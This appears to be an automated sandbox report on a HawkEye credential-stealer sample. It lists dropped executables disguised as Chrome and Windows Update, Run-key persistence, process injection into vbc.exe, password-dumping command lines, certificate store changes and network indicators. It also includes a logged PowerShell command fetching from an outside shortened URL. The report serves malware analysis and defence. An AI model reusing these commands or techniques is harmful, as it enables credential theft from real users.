Analysis Overview
SHA256
5a26755f58c6941b7a271ff806ede5fc2a952b575187643ecddecb40becc478f
Threat Level: Known bad
The file 5a26755f58c6941b7a271ff806ede5fc2a952b575187643ecddecb40becc478f was found to be: Known bad.
Malicious Activity Summary
HawkEye
NirSoft WebBrowserPassView
NirSoft MailPassView
Nirsoft
Blocklisted process makes network request
Executes dropped EXE
Checks computer location settings
Loads dropped DLL
Uses the VBS compiler for execution
Legitimate hosting services abused for malware hosting/C2
Adds Run key to start application
Accesses Microsoft Outlook accounts
Looks up external IP address via web service
Drops desktop.ini file(s)
Suspicious use of SetThreadContext
Drops file in Windows directory
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Modifies system certificate store
Suspicious use of AdjustPrivilegeToken
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-07-24 01:43
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2022-07-24 01:43
Reported
2022-07-24 01:46
Platform
win7-20220718-en
Max time kernel
151s
Max time network
152s
Command Line
Signatures
HawkEye
NirSoft MailPassView
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
NirSoft WebBrowserPassView
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Nirsoft
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Chrome.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Windows Update.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\5a26755f58c6941b7a271ff806ede5fc2a952b575187643ecddecb40becc478f.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Chrome.exe | N/A |
Uses the VBS compiler for execution
Accesses Microsoft Outlook accounts
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts | C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsUpdate.exe" | C:\Users\Admin\AppData\Roaming\Windows Update.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | whatismyipaddress.com | N/A | N/A |
| N/A | whatismyipaddress.com | N/A | N/A |
| N/A | whatismyipaddress.com | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2000 set thread context of 1352 | N/A | C:\Users\Admin\AppData\Roaming\Windows Update.exe | C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe |
| PID 2000 set thread context of 1632 | N/A | C:\Users\Admin\AppData\Roaming\Windows Update.exe | C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe |
Enumerates physical storage devices
Modifies system certificate store
| Description | Indicator | Process | Target |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 | C:\Users\Admin\AppData\Roaming\Windows Update.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 | C:\Users\Admin\AppData\Roaming\Windows Update.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 | C:\Users\Admin\AppData\Roaming\Windows Update.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 | C:\Users\Admin\AppData\Roaming\Windows Update.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 | C:\Users\Admin\AppData\Roaming\Windows Update.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 | C:\Users\Admin\AppData\Roaming\Windows Update.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Chrome.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\Windows Update.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\5a26755f58c6941b7a271ff806ede5fc2a952b575187643ecddecb40becc478f.exe
"C:\Users\Admin\AppData\Local\Temp\5a26755f58c6941b7a271ff806ede5fc2a952b575187643ecddecb40becc478f.exe"
C:\Users\Admin\AppData\Local\Temp\Chrome.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome.exe"
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\s7.vbs"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -command "iwr -uri https://2no.co/2Appw5"
C:\Users\Admin\AppData\Roaming\Windows Update.exe
"C:\Users\Admin\AppData\Roaming\Windows Update.exe"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | whatismyipaddress.com | udp |
| US | 104.16.155.36:80 | whatismyipaddress.com | tcp |
| US | 104.16.155.36:443 | whatismyipaddress.com | tcp |
| US | 104.16.155.36:443 | whatismyipaddress.com | tcp |
| US | 8.8.8.8:53 | smtp.vivaldi.net | udp |
| IS | 31.209.137.12:587 | smtp.vivaldi.net | tcp |
| US | 8.8.8.8:53 | apps.identrust.com | udp |
| NL | 104.110.191.182:80 | apps.identrust.com | tcp |
Files
memory/1684-54-0x0000000076291000-0x0000000076293000-memory.dmp
memory/1684-55-0x0000000074840000-0x0000000074DEB000-memory.dmp
\Users\Admin\AppData\Local\Temp\Chrome.exe
| MD5 | ceb41183c47cfdfc02f2f823f59345a4 |
| SHA1 | a8ce2f8b8912e5d59653af4e426e8ddd92823e1e |
| SHA256 | 338b52b52f0352a2c543b60ead3e80767bd32d44fc5dee050fef4a703ce58fc0 |
| SHA512 | 6ce3b9e1712023cdacb1b23f15ed9ff634c93c95b7d05f4c86e38cd06db8aa7b818f49e607ddbe11bb588af9b996f9daa7b7f2cb31b67ab6067429d95c6efbed |
memory/1356-57-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\Chrome.exe
| MD5 | ceb41183c47cfdfc02f2f823f59345a4 |
| SHA1 | a8ce2f8b8912e5d59653af4e426e8ddd92823e1e |
| SHA256 | 338b52b52f0352a2c543b60ead3e80767bd32d44fc5dee050fef4a703ce58fc0 |
| SHA512 | 6ce3b9e1712023cdacb1b23f15ed9ff634c93c95b7d05f4c86e38cd06db8aa7b818f49e607ddbe11bb588af9b996f9daa7b7f2cb31b67ab6067429d95c6efbed |
memory/1456-60-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\s7.vbs
| MD5 | 46ea1b5552e77fbc7679f93124754c57 |
| SHA1 | 39cbbdba52ccacd8f874c7afac32b712c2e5bff9 |
| SHA256 | 54a60ce0810b7b0d3e2ab1a9f9f51752d7573a694ec7c1c252a907fb3117bca5 |
| SHA512 | ac9f19f3314ec3f1c71d4e4681de52102d33110ed4f662b3e2c2a4577f66581d3ba43577ad5ff4ba557145afbf97aa4daec825f57bc9cfda4efd335530d6cb70 |
memory/1684-62-0x0000000074840000-0x0000000074DEB000-memory.dmp
memory/1356-64-0x0000000074840000-0x0000000074DEB000-memory.dmp
memory/1008-65-0x0000000000000000-mapping.dmp
memory/1008-67-0x0000000074840000-0x0000000074DEB000-memory.dmp
memory/1008-68-0x0000000074840000-0x0000000074DEB000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Chrome.exe
| MD5 | ceb41183c47cfdfc02f2f823f59345a4 |
| SHA1 | a8ce2f8b8912e5d59653af4e426e8ddd92823e1e |
| SHA256 | 338b52b52f0352a2c543b60ead3e80767bd32d44fc5dee050fef4a703ce58fc0 |
| SHA512 | 6ce3b9e1712023cdacb1b23f15ed9ff634c93c95b7d05f4c86e38cd06db8aa7b818f49e607ddbe11bb588af9b996f9daa7b7f2cb31b67ab6067429d95c6efbed |
\Users\Admin\AppData\Roaming\Windows Update.exe
| MD5 | ceb41183c47cfdfc02f2f823f59345a4 |
| SHA1 | a8ce2f8b8912e5d59653af4e426e8ddd92823e1e |
| SHA256 | 338b52b52f0352a2c543b60ead3e80767bd32d44fc5dee050fef4a703ce58fc0 |
| SHA512 | 6ce3b9e1712023cdacb1b23f15ed9ff634c93c95b7d05f4c86e38cd06db8aa7b818f49e607ddbe11bb588af9b996f9daa7b7f2cb31b67ab6067429d95c6efbed |
memory/2000-71-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Roaming\Windows Update.exe
| MD5 | ceb41183c47cfdfc02f2f823f59345a4 |
| SHA1 | a8ce2f8b8912e5d59653af4e426e8ddd92823e1e |
| SHA256 | 338b52b52f0352a2c543b60ead3e80767bd32d44fc5dee050fef4a703ce58fc0 |
| SHA512 | 6ce3b9e1712023cdacb1b23f15ed9ff634c93c95b7d05f4c86e38cd06db8aa7b818f49e607ddbe11bb588af9b996f9daa7b7f2cb31b67ab6067429d95c6efbed |
memory/1356-74-0x0000000074840000-0x0000000074DEB000-memory.dmp
memory/2000-75-0x0000000074840000-0x0000000074DEB000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\SysInfo.txt
| MD5 | 9adcd38d352368d85ae6dc22cd2393ec |
| SHA1 | 608f7f4ddd5547b537b1a3075a12a11ff03bdd82 |
| SHA256 | 2fa2cf15eacef5258245ba5f331cfd8286547cca36babb479e46deb0b9000408 |
| SHA512 | b3eab8af2d965a158abcf385c4ff386ff170214779ba29976e21f2044f0fc2ee16766e4496cd0ffe21fed789aaad91e0ff27ff0fad16bd51e5b19b1332508d28 |
memory/2000-77-0x0000000074840000-0x0000000074DEB000-memory.dmp
C:\Users\Admin\AppData\Roaming\Windows Update.exe
| MD5 | ceb41183c47cfdfc02f2f823f59345a4 |
| SHA1 | a8ce2f8b8912e5d59653af4e426e8ddd92823e1e |
| SHA256 | 338b52b52f0352a2c543b60ead3e80767bd32d44fc5dee050fef4a703ce58fc0 |
| SHA512 | 6ce3b9e1712023cdacb1b23f15ed9ff634c93c95b7d05f4c86e38cd06db8aa7b818f49e607ddbe11bb588af9b996f9daa7b7f2cb31b67ab6067429d95c6efbed |
memory/1352-79-0x0000000000400000-0x000000000041B000-memory.dmp
memory/1352-80-0x0000000000411654-mapping.dmp
memory/1352-83-0x0000000000400000-0x000000000041B000-memory.dmp
memory/2000-84-0x00000000020CE000-0x00000000020DF000-memory.dmp
memory/1352-85-0x0000000000400000-0x000000000041B000-memory.dmp
memory/1352-86-0x0000000000400000-0x000000000041B000-memory.dmp
memory/1632-88-0x0000000000442628-mapping.dmp
memory/1632-87-0x0000000000400000-0x0000000000458000-memory.dmp
memory/1632-91-0x0000000000400000-0x0000000000458000-memory.dmp
memory/1632-92-0x0000000000400000-0x0000000000458000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\holderwb.txt
| MD5 | f3b25701fe362ec84616a93a45ce9998 |
| SHA1 | d62636d8caec13f04e28442a0a6fa1afeb024bbb |
| SHA256 | b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209 |
| SHA512 | 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84 |
memory/1632-94-0x0000000000400000-0x0000000000458000-memory.dmp
memory/2000-95-0x00000000020CE000-0x00000000020DF000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2022-07-24 01:43
Reported
2022-07-24 01:46
Platform
win10v2004-20220721-en
Max time kernel
150s
Max time network
124s
Command Line
Signatures
HawkEye
NirSoft MailPassView
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
NirSoft WebBrowserPassView
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Nirsoft
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Chrome.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Windows Update.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\5a26755f58c6941b7a271ff806ede5fc2a952b575187643ecddecb40becc478f.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\WScript.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\Chrome.exe | N/A |
Uses the VBS compiler for execution
Accesses Microsoft Outlook accounts
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts | C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Update = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsUpdate.exe" | C:\Users\Admin\AppData\Roaming\Windows Update.exe | N/A |
Drops desktop.ini file(s)
| Description | Indicator | Process | Target |
| File created | C:\Windows\assembly\Desktop.ini | C:\Users\Admin\AppData\Local\Temp\Chrome.exe | N/A |
| File opened for modification | C:\Windows\assembly\Desktop.ini | C:\Users\Admin\AppData\Local\Temp\Chrome.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | whatismyipaddress.com | N/A | N/A |
| N/A | whatismyipaddress.com | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1852 set thread context of 4764 | N/A | C:\Users\Admin\AppData\Roaming\Windows Update.exe | C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe |
| PID 1852 set thread context of 4332 | N/A | C:\Users\Admin\AppData\Roaming\Windows Update.exe | C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\assembly | C:\Users\Admin\AppData\Local\Temp\Chrome.exe | N/A |
| File created | C:\Windows\assembly\Desktop.ini | C:\Users\Admin\AppData\Local\Temp\Chrome.exe | N/A |
| File opened for modification | C:\Windows\assembly\Desktop.ini | C:\Users\Admin\AppData\Local\Temp\Chrome.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000_Classes\Local Settings | C:\Users\Admin\AppData\Local\Temp\5a26755f58c6941b7a271ff806ede5fc2a952b575187643ecddecb40becc478f.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Chrome.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\Windows Update.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\5a26755f58c6941b7a271ff806ede5fc2a952b575187643ecddecb40becc478f.exe
"C:\Users\Admin\AppData\Local\Temp\5a26755f58c6941b7a271ff806ede5fc2a952b575187643ecddecb40becc478f.exe"
C:\Users\Admin\AppData\Local\Temp\Chrome.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome.exe"
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\s7.vbs"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
